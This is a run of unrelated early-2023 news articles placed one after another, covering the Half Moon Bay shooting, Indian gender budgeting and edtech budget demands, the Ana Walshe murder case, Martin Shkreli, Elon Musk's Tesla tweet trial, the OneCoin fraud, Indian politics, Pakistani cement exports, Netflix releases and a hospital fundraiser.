Victims Are Asian-American Farm Workers

Television images from the region saw authorities arresting a guy without incident, as per ABC.net. Corpus stated that the victims are suspected to be workers on the homes. The victims, according to Half Moon Bay Councilmember Debbie Ruddock, are Chinese farm workers. At IDES Hall, 735 Main St. in Half Moon Bay, a family reunion facility has been established.

"This type of shooting is horrifying," said Corpus. "It's a tragedy that we hear about much too frequently, but tonight it has struck close to home in San Mateo County."

Governor Gavin Newsom of California stated that he was speaking with victims of the incident in Monterey Park when he learned of the horrific shooting in Half Moon Bay, NBC Bay Area reported. Workers at Mountain Mushroom Farm were questioned by a large number of police outside of a cluster of residential trailer-style structures. A coroner has arrived.

According to officials, a suspect is in custody and there is no current threat to the community. Local TV broadcasts showed police handcuffing and arresting a man along Kelly Avenue while saying, "Put your hands in the air!" Get down on the ground and exit the car!"

The incident in the Half Moon Bay region, just south of San Francisco, follows a weekend mass shooting in Southern California, in which ten people were murdered and countless more were injured during Lunar New Year celebrations outside of Los Angeles.

Per The Independent, San Mateo County Supervisor said, "This is just tragic in view of what has transpired. This is an occurrence about which we are all shocked."

Related Article: California Mass Shooting Hero Speaks Out

@YouTube

@ 2023 HNGN, All rights reserved. Do not reproduce without permission.


What is gender budgeting? In her maiden speech as the Finance Minister, Nirmala Sitharaman informed that 'Naari tu Narayani' is our country's tradition and a committee with the same name has been formed to ensure optimal allocations of resources for the welfare of women. Before the next budget here's how far India has come when it comes to gender budgeting.



As such, it is not a separate accounting exercise but an ongoing process of keeping a gender perspective in policy/programme formulation, its implementation and review, according to the MoWCD. The Ministry of Women and Child Development (MoWCD) defines gender budgeting as a tool to achieve gender mainstreaming so as to ensure that the benefits of development reach women as much as men. The government publishes a Gender Budget Statement (GBS) every year along with the Union Budget. GBS is a reporting mechanism for ministries or departments to review their programmes from a gender perspective and present information on allocations for women.





Limitations So, the exercise of gender Budgeting entails the dissection of the government budgets to establish its gender differential impacts and to ensure that gender commitments are translated into budgetary commitments.

Also Read Union Budget 2023: Experts don't expect surprises in social sector outlay Budget 2023: A look back at some major announcements in previous Budget Crypto industry wants 0.1% TDS, Sebi-like regulator in Budget 2023 IPL 2023: Updated squad list of all teams after the mini-auction in Kochi FIH Men's Hockey World Cup 2023: Obstacles India will face on its home turf Budget 2023: Allocating 6% of GDP by 2030 a must, say education experts Modi govt has mostly failed in meeting fiscal targets set in Budgets Budget 2022-23 wishlist: Here're the key challenges in manufacturing sector Investors budget for growth as markets feed on February 1 hopes Will education outlay improve amidst widening learning gap? Sector hopes so

1) Quantum of gender budgeting and fiscal marksmanship

The first and most prominent challenge to gender-responsive budgeting in India is that the quantum of India's gender Budget remains in the range of 4 per cent - 6 per cent of the total expenditure and less than 1 per cent of its GDP.







Source: Union Budget Statements, 2005-06 to 2022-23 ( compiled by Nikore Associates) Data analysis by Nikore Associates shows that the budgeted expenditure for 2020-21 was the only exception when emergency spending on Covid-19 social protection schemes, like the Jan Dhan Yojana and Ujjwala Yojana drove the gender Budget to 1.06 per cent of GDP. However, the actual expenditure was only 0.77 per cent of the GDP.

Lekha Chakraborty, in her NIPFP paper analysing the Union Budget 2021-22 explains that fiscal marksmanship is the accuracy of budgetary forecasting. "It can be a crucial information about how the fiscal agents form expectations. The significant variations between actual revenue and expenditure from the forecasted budgetary magnitudes could be indicative of non-optimization or non-attainment of set objectives of fiscal policy," she writes.



For example: In her paper, she highlights that "the department of police allocates Rs1,000 crores under Nirbhaya Funds in Budgeted Estimates (BE) 2020-21. However, in the Revised Estimates (RE) for 2020-21 it was only Rs 10 crores. Chakraborty analysing the Union Budget 2021-22 through a gender lens to understand the intensity of gender in the budgetary allocations, concludes that "higher budgetary allocations per se do not ensure higher spending."

2) Concentrated in 5 key ministries

Economist Mitali Nikore, who has advised Aisan Development Bank, UN Women and the World Bank told Business Standard that around 90 per cent of gender budgeting is concentrated in five ministries. When it comes to livelihood, MGNREGA is the biggest scheme in gender budgeting that focuses on livelihood. Other areas that also need attention like transportation, water collection and water security remain ignored.



A closer look at the government data shows that between 2005-06 and 2019-20, Indias gender Budget remained concentrated in five key Ministries and Departments: Rural Development, Women and Child Development, Agriculture, Health and Family Welfare, and Education. "Jal Jeevan Mission does not have a gender budget even though water security impacts the women most. No focus on safe cities. MSME ministry hardly has a gender budget."





Source: Union Budget Statements, 2005-06 to 2022-23 (compiled by Nikore Associates) Since 2020-21, the increase in allocations for Prime Minister Awas Yojana (Urban) resulted in the Ministry of Housing and Urban Affairs superseding the Ministry of Agriculture in the top five ministries. This trend continued in 2022-23 with the 5 ministries forming 91.3 per cent of the GBS. Moreover, the top 10 schemes which constituted about 75-85 per cent of the gender Budget between 2018-19 and 2021-22, were allocated 79.1 per cent of the 2022-23 GBS.

3) Post-Covid-19 approach:



Notably, the gender Budget remained 4.41 per cent and 4.33 per cent of the total budgetary expenditure and 0.72 per cent and 0.66 per cent of GDP in the years 2021-22 to 2022-23 respectively. Nikore further said that last Budget failed to address critical areas highlighted by pandemic in 2021-22 and 2022-23, despite the disproportionate impact of Covid-19 on women.



For example, a small allocation of Rs 120 crore was made for rural digital literacy under the PM Gramin Digital Saksharta Abhiyan in FY22, which declined by 17 per cent to Rs 100 crore in FY23. Highlighting the lack of focus on spending on issues that proved critical during the pandemic, Nikore says that core areas like digital literacy, public transport, prevention of domestic violence and skill training are still to be ignored.



Applying a gender lens to Budget Way Forward:



"Nobody is saying that make exclusive schemes, but include a gender perspective to government schemes uniformly. Time and again, experts have made suggestions to design government schemes through a gender lens.



Lack of gender disaggregated data Govt officials follow directives and established practices. There is a lack of innovation in thinking. The biggest challenge that we face is that we do not track gender disaggregated data to determine who is benefitting from government schemes", Nikore explains.



Chakraborty, in another World Bank case study on gender responsive budgeting in India has also highlighted how gender disaggregated benefit incidence analysis can be a useful tool for analysing the distributional impacts of public expenditure across gender. Gender disaggregated data helps demonstrate how different genders benefited from government schemes on ground. For example, data on how many women benefitted from MNREGA in a financial year would help track outcome and identify problem areas, which may or may not vary across constituency.



"The idea behind gender budgeting is not to get a separate budget but to create a platform for gender justice, she says. Nikore who has studied gender budgeting across many countries, says that while India fares better than others in terms of having a transparent policy, it still has a long way to go.



"The goal of gender budgeting should be tracking government spending and ensuring all genders are covered as beneficiaries", she adds. Emphasising that gender is a spectrum, Nikore calls for gender disaggregated data as it would not only help women but also other genders.

Decentralisation

Speaking on the need for decentralisation and empowering officials at district level and panchayat level who deal with ground realities on a day-to-day basis, Nikore explains that they are more aware of the needs of their constituencies and thus in a better position to implement and deliver policies.


With the pandemic subsiding in the latter part of 2021 and schools reopening, the sector saw its revenues take a hit. And 2022 added to its woes. A number of edtech start-ups such as Udayy, SuperLearn and Lido shut shop, and many others resorted to cost-cutting measures, including firing their employees. The education technology (edtech) sector, once a darling of investors, has seen a downturn in form. At the peak of the pandemic, edtechs took over as a key source of education, after playing second fiddle to offline classes for a long time.



We expect the government to consider establishing a robust framework in the Budget to lower the cost of higher education, thereby granting applicants with higher rebates and deductions in tax calculations, says Mayank Kumar, co-founder and managing director, upGrad. The government can also introduce an additional tax provision to accelerate the acceptance of online education and upskilling. Such incentives will help India maintain its status as the Talent Pool of the world. So, the sector is watching the forthcoming Budget keenly and pinning hopes on there being something in it for it. One major area of concern is taxes. Edtech firms believe that the high taxes (18 per cent Goods and Services Tax, or GST) deter students and professionals from investing in education.



While a number of initiatives were introduced in the Budget last year, issues such as the funding winter, skyrocketing layoffs, and a number of edtech firms shutting shop have posed new challenges for the industry, says Vivek Sunder, CEO of Cuemath. Looking at the increasing cost of education in the country, long-term tax exemptions, lowering GST on education and continued funding support will help edtech firms. Some players have also sought an increase in funding for the sector in the upcoming Budget.

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A number of these players are batting for the upskilling of professionals to ensure the industry stays relevant and changes with time. Education technology offers millions of working professionals an opportunity to upskill and reskill, says Akshay Marwah, co-founder of Noida-headquartered AAFT Online. Relief in taxes can make it affordable for more people. Incentives for on-the-job skilling may inspire more employers to promote it. Layoffs, he adds, have become a reality, and many roles are becoming obsolete by the day. In such an environment, workers and professionals must reinvest their skills through government policies, Marwah says. Vamsi Krishna, CEO and co-founder, Vedantu, echoes that sentiment when he says one expectation from this years Budget is resources and support for edtech initiatives. Investment in education technology is imperative for the development of our learning ecosystem, he says. We also expect the government to frame a policy structure that may encourage schools to expand their online learning efforts.



Incentivising Esops with a simpler and appropriate tax structure similar to shares will make it an attractive wealth creation opportunity and will also help start-ups in retaining the talent pool, he says. Kumar also called for incentivising Esops for lower tax burden. According to him, taxation of Esops has proven to be a big deterrent in the industry. He calls for an approach to treat Esops as part of public-market investments.



In Budget 2022, Finance Minister Nirmala Sitharaman had highlighted the governments focus on digital learning with its decision to expand the One class, one TV channel scheme, and set up a digital university. Abhishek Mishra, chief strategy officer, PhysicsWallah, is of the view that the edtech industry needs support in the form of subsidised schemes and incentives for improving online initiatives. The focus should be on upskilling and reskilling so that students are equipped with skills from an early age, he says. He is for accessible collaboration of the government with edtech companies to improve digitisation and enhance learning.



Byjus, which witnessed a tumultuous year in 2022, believes that extending these ideas further would spur the sectors growth. Among other plans, the National Education Policy (NEP), introduced by the government pre-pandemic, also aimed to advocate tech integration in school education.





What they want Extending the ideas behind PM e-Vidya and One Nation, One Classroom into a wider range of developmental economics will be welcomed, as well as the fast-tracking of the NEP, she says. Investments in the development of human capital and skilling will also give momentum to the sector. The worlds growth prospects have been clouded by difficult macroeconomic and geopolitical factors, says Byjus Co-founder Divya Gokulnath. The Budget should advance the Digital India mandate, offer GST reduction on educational products and services, and further the cause of holistic education.
It is widely expected that the Budget to be presented on February 1 would more or less meet the fiscal deficit target of 6.4 per cent of GDP for FY23 due to higher tax collections and nominal GDP than expected. However, the suggestion to keep the deficit below 4.5 per cent of GDP by 2024-25 may be revised. The Budget refrained from giving specific numbers for the next two years, as has been the practice till 2020-21. However, it says that the Centre will try to keep the fiscal deficit below 4.5 per cent of GDP by 2024-25. Earlier, the fiscal consolidation paper used to give such a specific targ

The Modi government has never been able to meet the fiscal deficit targets it sets for the next two years in the nine budgets, except for 2016-17, given in the Budget for 2015-16. Even in this case, the original target given in the Budget for 2014-15 was three per cent of the gross domestic product (GDP), which was widened to 3.5 per cent in the next Budget and realised.
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Chinese, Afghan FMs vow to strengthen cooperation, combat terrorism

Xinhua) 11:11, January 24, 2023

BEIJING, Jan. 21 (Xinhua) -- Chinese Foreign Minister Qin Gang on Saturday held a phone conversation with Amir Khan Muttaqi, acting foreign minister of the Afghan interim government, with both sides pledging to strengthen cooperation and vowing to combat terrorism.

Qin said that China attaches great importance to the safety of Chinese personnel and institutions in Afghanistan as the Spring Festival approaches, hoping that the Afghan side will take strong measures to ensure their safety.

Muttaqi extended New Year greetings to the Chinese people. He said that Afghanistan prohibits any forces from using its territory for activities that sabotage the Afghanistan-China friendship and undermine China's interests.

The country will resolutely combat all forms of terrorism and take strong measures to ensure the safety of Chinese personnel and institutions in Afghanistan, he added.

Qin said China highly values developing good-neighborliness, friendship and cooperation with Afghanistan, and always respects its independence, sovereignty and territorial integrity, the independent choices made by the Afghan people and their religious beliefs and ethnic customs.

China does not interfere in Afghanistan's internal affairs, nor does it seek self-interest or a sphere of influence in Afghanistan, he said.

Qin said China supports the Afghan interim government in building an inclusive and broad-based political structure, implementing moderate and sound domestic and foreign policies, combating terrorism in all its forms and forging friendly relations with all countries, especially its neighbors.

China sympathizes with the Afghan people over their suffering and stands ready to provide more assistance to Afghanistan's economic and social development and the improvement of people's livelihood, he said.

The Afghan interim government abides by the one-China principle and supports China in safeguarding its national sovereignty and territorial integrity, Muttaqi said, adding that Afghanistan welcomes China in playing a more important role in international and regional affairs and expects to strengthen exchanges and cooperation with China.

(Web editor: Peng Yukai, Liu Ning)
The mother of a Massachusetts woman who has been missing since New Year's Day and whose husband is accused of murder will seek the United States for official information concerning her daughter's disappearance, according to the Serbian Foreign Ministry.

The mother of Ana Walshe, Milanka Ljubicic, made a formal request to obtain case documents as next of kin, according to a ministry statement.

Ana Walshe's Mom Sends Formal Request

The ministry noted that the request has been addressed to the Consulate of Serbia in New York and will be sent to the appropriate US authorities. Brian Walshe, 47, has been charged with murder in the missing corpse of 39-year-old Ana Walshe. The couple, who now has custody of their three young children, resided in the wealthy seaside village of Cohasset, some 15 miles southeast of Boston.

Per CBS News, authorities say Ana Walshe was last seen leaving their house in the early hours of January 1, ostensibly to take a ride-hailing car to Logan International Airport for a trip to Washington.

However, authorities have uncovered no evidence that she took a car or a flight out of Logan. According to investigators, she was reported missing on January 4 by her employer in Washington, where the pair resides and where she frequently goes to work at a real estate business.

Prosecutors stated earlier this week that Brian Walshe used his son's iPad to research methods for dismembering and disposing of a body and that objects containing Ana Walshe's DNA were discovered at a garbage processing business.

Additionally, officials discovered bloody garbage bags, a hatchet, a hacksaw, a rug, and used cleaning products. Prosecutor Lynn Beland stated in court that one of the searches Walshe performed early on New Year's Day was "10 methods to dispose of a corpse if you need to."

The disappearance of Walshe has been keenly watched in her home in Serbia, where her mother still resides. Ljubicic has stated to local media that she cannot think her son-in-law would hurt her daughter.

According to Fox News, officials accused Brian Walshe on Wednesday of killing his wife and then exhuming and unlawfully transporting her remains. The convicted art forger was also charged with deceiving the police inquiry earlier this month for allegedly providing false information and concealing facts about his location.

During the hearing on Wednesday, Walshe submitted a not-guilty plea. He was ordered to be kept without bond and is due in court on February 9.

Read Also: Half Moon Bay Shooting Updates

Ana Walshe Case Update

Ana Walshe, a real estate executive with Tishman Speyer, was due to depart for Washington, DC, on January 3, but she reportedly claimed an emergency compelled her to go there early. Someone matching Brian Walsh's description was purportedly observed discarding trash bags at an apartment complex, which were later collected and cremated.

However, seasoned legal experts have warned the public against leaping to conclusions and questioned if the evidence against Brian Walshe is sufficient to prove his guilt beyond a reasonable doubt. Ljubicic stated earlier this month that her daughter begged her to fly from Serbia to see only one week before she disappeared.

When police went to the Walshe residence, they observed that Brian Walshe's Volvo had been meticulously cleaned. When questioned, he stated that he had discarded the plastic liner observed the previous day.

He visited the dumpster near his mother's residence on the same day. Walshe was detained on January 8 for deceiving the police. The cops secured a search warrant for the home and uncovered blood traces in the basement. They also discovered a knife with blood on it, according to Daily Mail.

The police then examined the dumpster near his mother's residence and discovered ten blood-stained garbage bags. Within, they observed:

Slippers containing both Ana and Brian's DNA.

Rags, tape, and a medical outfit containing Brian and Ana's DNA.

The Hunter boots worn by Ana

Ana's Prada handbag

Her COVID-19 vaccination card, with her name

A hacksaw

Hatchet

Snipping shears

Related Article: Ana Walshe's Dark Past with Husband

@YouTube

@ 2023 HNGN, All rights reserved. Do not reproduce without permission.
The infamous Martin Shkreli who also goes by "Pharma Bro" to the people, has caught the ire of the FTC. Last year, Shkreli launched a company called "Druglike, Inc." The FTC has asked a federal judge to hold him in contempt for allegedly violating his lifetime ban in the pharmaceutical industry.

Pharma Bro Launching Druglike, Inc.

The company that Shkreli recently launched was described as a Web3 drug discovery software platform. It was said to be a company that will provide resources to anyone who aims to start or contribute to early-stage drug discovery projects, as mentioned in its press release.

Shkreli mentioned that Druglike will remove barriers to early-stage drug discoveries, increase innovation, and allow a braider group of contributors to share the rewards, according to Engadget. The FTC, however, is not swayed by this.

The Federal Trade Commission asked Druglike co-founder to comply when asked for relevant records regarding the company, as well as an interview back in October 2022. However, Shkreli proceeded to ignore the agency's requests.

This has led to the FTC asking the court to hold Martin Shkreli in contempt, which would force him to comply with what the agency initially requested within 21 days. They also mentioned that Shkreli has not dropped a dime for his $64.6 million fine.

Read Also: Rune Labs Gets FDA Clearance to Use Apple Watch in Monitoring Parkinson's Disease Symptoms

Shkreli Becoming a Villain in the Pharmaceutical Industry

The former hedge fund manager has not been liked ever since his stunt with Daraprim, an anti-malarial and anti-parasitic drug. As the former CEO of Turning Pharmaceuticals, Shkreli hiked the price of the drug from $13.50 to $750 overnight.

He claims that it was a necessary thing to do in order to finance the expensive development of new medicine. It did not help that he wasn't all too kind in addressing the feedback he has gotten with the move, eventually earning the name "Pharma Bro."

The businessman was then charged with securities fraud relating to Retrophin, the first company Shkreli launched. It was said that he used the company to pay back investors in the hedge fund he founded, MSB Capital, as mentioned in The New York Times.

He has even been making enemies outside the industry he works in. Back in 2015, Shkreli purchased a $2 million Wu Tang Clan album, which RZA, the co-founder of the hip-hop group, did not like. Martin Shkreli responded by saying that RZA should show him some respect.

Back when he participated in a congressional hearing for the drug prices he implemented, he smugly responded that he was taking the Fifth Amendment, and then headed to Twitter saying that it was hard to accept that "imbeciles" represent the people in the government.

The people who knew Martin Shkreli closely claimed that he was not as terrible as he appeared. It was said that he made a $1 million donation to Hunter College High School, which is where he attended. The school's alumni, however, wanted his donation to be given back.

Related: FDA Approves a Drug That Could Slow Down Type 1 Diabetes Development
People don't usually care much about what they tweet because it's unlikely that it'll cause them trouble. It's a different case for Elon Musk since he runs several tech companies, yet he hasn't been acting like it at all, so much so that a 420-related tweet put him in court.

A Coincidence? Perhaps

The Tesla CEO is being accused of securities fraud due to a tweet saying that he was taking Tesla private for $420 a share. Tesla inventors claimed that the tweet about Tesla going private has caused them millions of dollars, as well as the "420" and "funding secured" part.

Nicholas Porritt, the attorney representing the Tesla investors who filed the lawsuit against Musk, asked the CEO if he rounded up the price as a joke for his girlfriend. Musk responded by saying that he was serious and that there was karma around the number.

Either way was not a good case for the plaintiff. Based on Musk's statement, he was seriously committed to taking Tesla private, contradicting the accusation of fraud. It's also likely that no one in the business world would take "420" seriously anyway to cause any loss of money.

When asked again, Musk clarified that 420 was not chosen because of a joke, but because there was a 20 percent premium over the stock price. He added that it was all just a coincidence. The tweet was prompted by the supposed support from Saudi Arabia's PIF.

According to The Verge, the company was targeted by Wall Street sharks and short sellers who were betting against the company, and Musk was simply seeing the "firm commitment" from Saudi Arabia's Public Investment Fund as a way to protect the company's future.

However, Porritt acknowledged that there were no signed documents and the deal was sealed with only just a handshake. He also pointed out that Musk announced it without consulting his own board or considering how it might affect shareholders.

The plaintiffs' lawyer continued to press Musk, implying that investor support was not actually confirmed and yet Musk tweeted it anyway. Judge Edward Chen already ruled the 2018 tweets to be false, which will be a factor in the jury's decision.

Read Also: Elon Musk Sells $3.95 Billion Worth of Tesla Shares Following His Twitter Acquisition

What Happens Now?

The outcome of the trial will depend on how the jury took Musk's statements. If Tesla investors win the case, Musk will be paying billions in damages, according to The New York Times. Musk winning the case will just emphasize that his tweets are not to be taken seriously.

Should Musk take Tesla private, he will have to come up with a large sum quickly. It's possible that Musk will use the same strategy he did when he acquired Twitter, wherein he sold Tesla shares in order to fund the $44 billion deal.

He mentioned that "funding secured" was not only because of the potential Saudi Arabia fund, but also his stake as CEO of SpaceX. In theory, he could borrow against his stake or sell some of his stock to fund the effort of taking Tesla private.

Related: Elon Musk's Tweeting Habits Targeted by Tesla Investors at Trial
Faced with the possibility of being left behind in the shift towards EVs, Toyota has announced a radical shift in company policy and directi...
Cryptocurrency can prove to be dangerous if you invest without considerable knowledge about it. Even as someone who knows your way around it, you could still fall victim to the likes of Sam Bankman-Fried and "Cryptoqueen" Ruja Ignatova, with the latter getting away with the crime.

A Movie-Worthy Escape

The events surrounding the discovery of the OneCoin scam have been so dramatic, they can be likened to that of a heist movie. The Federal Bureau of Investigation said that OneCoin was marketed as the "Bitcoin killer," enticing millions of investors all over the world.

Once the scheme was determined to be fraudulent, OneCoin co-founder Karl Sebastian Greenwood was arrested and pleaded guilty to fraud and money laundering charges. This was also the case for Konstantin Ignatov, Ruja's brother, who also joined in on the scam.

Greenwood might face a potential maximum sentence of 20 years for conspiracy to commit wire fraud, and another 20 for one count of wire fraud. Another maximum of 20 years could be added to his sentence for money laundering.

The maximum years of sentences are prescribed by the Congress and are yet to be decided by a judge. A court date has already been arranged, which is April 5th of 2023, which will be seen by Judge Ramos.

Ruja Ignatova, however, is nowhere to be found and has made it to the FBI's top ten most-wanted fugitives list, according to Interesting Engineering. She took a flight to Athens, Greece from Sofia, Bulgaria in 2017 and was never seen again.

Read Also: SEC Charges Individuals Behind the $300 Million Crypto Pyramid and Ponzi Scheme

Before the Cryptoqueen's Disappearance

OneCoin was founded by both Greenwood and Ignatova back in 2014, which according to the FBI, was fully intended to be used for defrauding investors. The two even referred to the cryptocurrency as "trashy coin" through their email exchanges.

They operated as a multi-level marketing network or MLM where members would receive commissions for recruiting others to buy cryptocurrency packages. Through this method, the operation became a rapid-growing pyramid scheme.

Greenwood and Ignatova misinterpreted the value of OneCoin to deceive investors, when in fact, they set the value themselves. Investors then wired funds to bank accounts that were controlled by OneCoin to purchase cryptocurreny packages.

Ignatova served as the fraudulent company's leader, while Greenwood was the "global master distributor," leading the MLM network where the cryptocurrency was marketed and sold. This led to Greenwood earning 20 million a month.

The company's records show that more than three million people invested in the cryptocurrency packages, generating 4.037 billion in sales revenue between 2014 to 2016, thus, earning 2.735 billion in "profits."

The co-founder began talking about an exit strategy around August 2019, based on the email recovered by the authorities. One option that Ignatova proposed was to take the money and run, as well as blame someone else for the money's disappearance.

In an email exchange between Ignatova and her brother, she called the OneCoin investors "idiots." Konstantin Ignatov responded by saying that as Ruja told him, the network would not have worked if it targeted intelligent people.

There is still no information as to where Ignatova might be, but the FBI is already offering a $100,000 reward for anyone who can provide any information that will lead to her arrest.

Related: Crypto Scams: How to Spot Fraud Cryptocurrencies Like SQUID, Tsuzuki Inu
Amid an ongoing row over Digvijaya Singh questioning the authenticity of the 2019 surgical strikes, an agitated Jairam Ramesh lashed out at the media on Tuesday, saying all that needed to be said have already been done, and the questions should now be directed at the Prime Minister.

A day after Singh stirred up the hornet's nest and the Congress distanced itself from the leader, party MP in charge of Communication, Ramesh told the media while walking for the Bharat Jodo Yatra in Jammu and Kashmir that all queries related to the surgical strike uproar have been answered by his party and the media needs to aim its questions at Prime Minister Narendra Modi.

Digvijaya Singh trying to put an end to the row also said: "I have got the greatest regard for the Defence forces" as the leaders marched on along with other padayatris.

Congress General Secretary Ramesh refrained from answering any questions and said that "We have answered all the questions."

The Bharat Jodo Yatra led by Rahul Gandhi resumed from Sitni bypass Nagrota in J&K on Tuesday.

"We have answered all the questions. You go and ask the Prime Minister the questions," said Jairam Ramesh.

"Congress party has said whatever it wanted to. I tweeted yesterday regarding the same. I do not want to say anything other than this," he said.

Taking to Twitter, Ramesh claimed that even the UPA government had carried out surgical strikes.

"The views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress. Surgical strikes were carried out before 2014 by the UPA government. Congress has supported and will continue to support all military actions that are in the national interest," Ramesh tweeted.

This comes after Digvijaya Singh said there is no proof of the 2019 surgical strike against Pakistan, while the Centre claims to have carried out the attack.

"They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said Digvijaya Singh in his address in Jammu on Monday.

On February 14, 2019, a CRPF convoy was attacked by militants in Kashmir's Pulwama, in which 44 Indian jawans lost their lives. Striking back, on February 26, 2019, Indian Air Force fighter jets targetted an advanced terror training camp of Jaish-e-Mohammed in Pakistan's Balakot. The day after, Islamabad attempted to target Indian military installations but was thwarted by the IAF.

Bharatiya Janata Party has alleged that the opposition party has been "blinded" by its "hate" for Prime Minister Narendra Modi and has "insulted" the armed forces while adding that such statements are made at the behest of the top leadership of Congress.

BJP national spokesperson Gaurav Bhatia said that it has become a "character" of the Congress party to make "irresponsible remarks".

Union Minister Jyotiraditya Scindia listed out Digvijaya Singh's alleged controversies and said that he has added "one more to his list of anti-national activities".

Political analyst and Congress supporter Tehseen Poonawalla came down heavily on Digvijaya Singh remark calling it a 'self-goal' for the party.

He said these are the 'same' people who keep on doing the same things that is 'destroying' the party.

"The same people keep doing the same things and scoring self-goals. On one hand, the Hon'ble PM is naming 21 islands after those decorated with #ParamVirChakra and on the other hand, on #ParakramDivas, questioning surgical strikes? It's the same people, every time, destroying the party!" he said in the tweet.

Further questioning Digvijay Singh's remarks, Poonawala said Lieutenant General Hooda, who ordered the surgical strikes, joined the Congress.

"Lt. Gen. Hooda who carried out the surgical strikes joined the Congress! Today is #ParakramDivas ! Why would anyone speak about #surgicalstrike at such a time ! Not the first time these self-goals are scored !! #BharatJodoYatra," he further said in the tweet.

(ANI)

Also Read: Kavinder Gupta slams Digvijaya's surgical strike remark as joint conspiracy of Congress and Pakistan
Cement exports nosedive in 1HFY22-23 in Pakistan

24 January 2023

Pakistans cement industry export revenue and overseas dispatches in the first six months of FY22-23 (July-December 2022) nosedived both YoY and MoM, according to the countrys Federal Bureau of Statistics (FBS). Industry experts blamed the country's political and economic uncertainty, and slowed world economy. In addition, export markets are drying up and domestic demand is weak as construction costs have become prohibitively high for most materials.

During the 6MFY22-23, the cement industry earned US$85.61m by exporting 1.713Mt of cement and clinker, compared with US$143.76m from 3.921Mt exports in the 6MFY21-22. As a result, exports plummeted by 40.5 per cent in value, and volumes were down by 56.3 per cent.

In local currency terms, export sales receded by 21.7 per cent YoY to PKR19.22bn, FBS added. In December 2022 alone, export revenues dropped to US$8.73m on shipments of 165,791t versus US$10.60m on 223,109t in November 2022. This translates to an MoM decline of 17.7 and 25.7 per cent in value and volume terms, respectively. YoY exports decreased by 68.6 per cent in value and by 76.4 per cent in quantity when considering export figures of US$27.77m on shipments of 702,688t in December 2021.

Published under
Good news for "The Lord of the Rings" or LOTR fans out there, the trilogy is returning to Netflix this February, providing Netflix subscribers a chance to binge "The Fellowship of the Ring," "The Two Towers," and "The Return of the King."

Traveling Back to Middle-Earth

Some were sad to hear that the movies were removed from the streaming service. The three films were never on Netflix at the same time. This time, it will all be returning all at once. Netflix announced the news on Twitter, stating that it will be available by February 1st.

The last time one of the films was on Netflix was way back in March 2020. It was made available for watching on HBO Max as it launched. It's still not clear whether Netflix will show the standard or extended version of the J.R.R. Tolkien novel adaptations, which HBO Max both has.

If you're hoping that the "Ring of Power," which is a "Lord of the Rings" show that started in 2022 would also be shown on Netflix, it's highly unlikely. The show is produced by Amazon, so it's probably going to stay exclusive for the company's Prime Video streaming service.

It's probably best to binge on Prime Video. Not only is the "Rings of Power" exclusive to them, but they also have all three movies from "The Lord of the Rings" trilogy, as well as all "The Hobbit" movies. If you only have a Netflix subscription, at least you can watch the LOTR trilogy.

Read Also: Netflix, Tender Claws Will Bring Stranger Things VR in Winter 2023

There's More for 2023

If you're bummed about the fact that you'll only be limited to the "Lord of the Rings" trilogy, then you can be happy about the fact that Netflix is also releasing its own exclusives along with other movies and shows.

On January 27th, Netflix will be releasing the movie "You People," starring Jonah Hill, Eddie Murphy, Lauren London, and Nia Long. The comedy movie will revolve around Ezra Cohen (Jonah Hill) and Amira Mohammed (Lauren London) and their meddlesome families.

On January 31st, a documentary called "Pamela, A Love Story" will be about the titular character, specifically her life and career, The show will dive deeper into the "Baywatch" star's role as an actress, activist, and mother.

On February 3rd, the adventure movie "True Spirit" is set to be released. The protagonist is played by Teagan Croft, which you may recognize as Raven from Netflix's "Titans." It's a story about Jessica Watson, the youngest to sail solo around the world.

On February 10th, Reese Witherspoon and Ashton Kutcher play Debbie and Peter in "Your Place or Mine," wherein they switch houses and lives for a week in both LA and New York. The rom-com will also star "Grey's Anatomy" actor Jesse Williams.

On March 10th, "Luther: The Fallen Sun" will show on Netflix, which is a continuation of the "Luther" TV series. The film will show John Luther played by Idris Elba stuck in prison as a serial killer terrorizes London.

On March 31st, Netflix will bring its audience the sequel to Adam Sandler and Jennifer Anniston's "Murder Mystery," wherein both of them are now full-time detectives who want to build their own private eye agency.

Other titles coming to Netflix from March to August 2023 are:

"The Mother" (starring Jennifer Lopez, May 12th)

"Extraction 2" (starring Chris Hemsworth, June 16th)

"They Cloned Tyrone (starring Jamie Foxx, July 21st)

"Heart of Stone (starring Gal Gadot and Jamie Dornan, August 11th)

"Lift" (starring Kevin Hart, August 25th)

Related: 7 Returning Comedy Drama Series Streaming In 2023
This service applies to you if your subscription has not yet expired on our old site. You will have continued access until your subscription expires; then you will need to purchase an ongoing subscription through our new system. Please contact The Chanute Tribune office at 620-431-4100 if you have any questions
Erlanger announces the seventh annual Believe Bash tickets and tables are on sale now for the April 29 event.



The annual fundraiser gala will admire the glitz and glamour of Hollywood: The Golden Age at the Chattanooga Area Convention Center. The event will feature a cocktail reception, gourmet dining experience, live auction, meaningful program and live music for dancing into the night.



Officials said, "As a non-profit hospital, Childrens Hospital at Erlanger relies on donations from community events like the annual Believe Bash to supplement funding. Funds from previous Believe Bash events have supported the building of the Kennedy Outpatient Center, new medical equipment and services and improving hospital services. Last year, the Believe Bash raised over $530,000 for healthcare for our communitys children."



The seventh annual Believe Bash is made possible by our sponsors: First Horizon Bank, Delta Dental of Tennessee, The Group Savings Organization, Noon Development, Riley and Jacobson, The Bullard Group, EPB, The Vincit Group, ACE Anesthesia, Artech Design Group, Athens Insurance, Baker Donelson, CarePayment, Coca-Cola Bottling Co. United, Cognizant, DePuy Synthes, DeRoyal, L Squared Construction, Lift Media Group, McKenzie Foundation, OnPoint, Pinnacle, Refined Looks, Pointer Management, Pointe Property, Revecore, Second Story Real Estate Management, University Surgical Associates, Urban Story Ventures, Wakefield & Associates, Waller Law, Chambliss Bahner and Stophel, Siskin Childrens Institute, Jeremy and Julie Bruce, Dr. Peter Boehm Sr., Dr. Haresh Patel, Chattanooga Times Free Press and Ray and Jill Ryan. Sponsorship opportunities are still available.



Tickets and tables for the annual event can be purchased at erlangerfoundation.org/believe-bash.

Officials said, "Please note, by attending this Erlanger Health System Foundation event, you are acknowledging that an inherent risk of exposure to COVID-19 exists in any public place where people are present, and you are voluntarily assuming all risks related to exposure to COVID-19. Please follow all applicable masking and social distancing guidelines where required. If you are experiencing any symptoms of COVID-19, please remain home and do not attend this event."



To stay up to date on all the action join the Erlanger Foundation Believe Bash page on Facebook.
The Cleveland City Council on Monday initially voted 4-3 to turn down a deal offered by Cleveland billionaire Forrest Preston for a long-vacant former bank building on Raider Drive across from Cleveland High School.

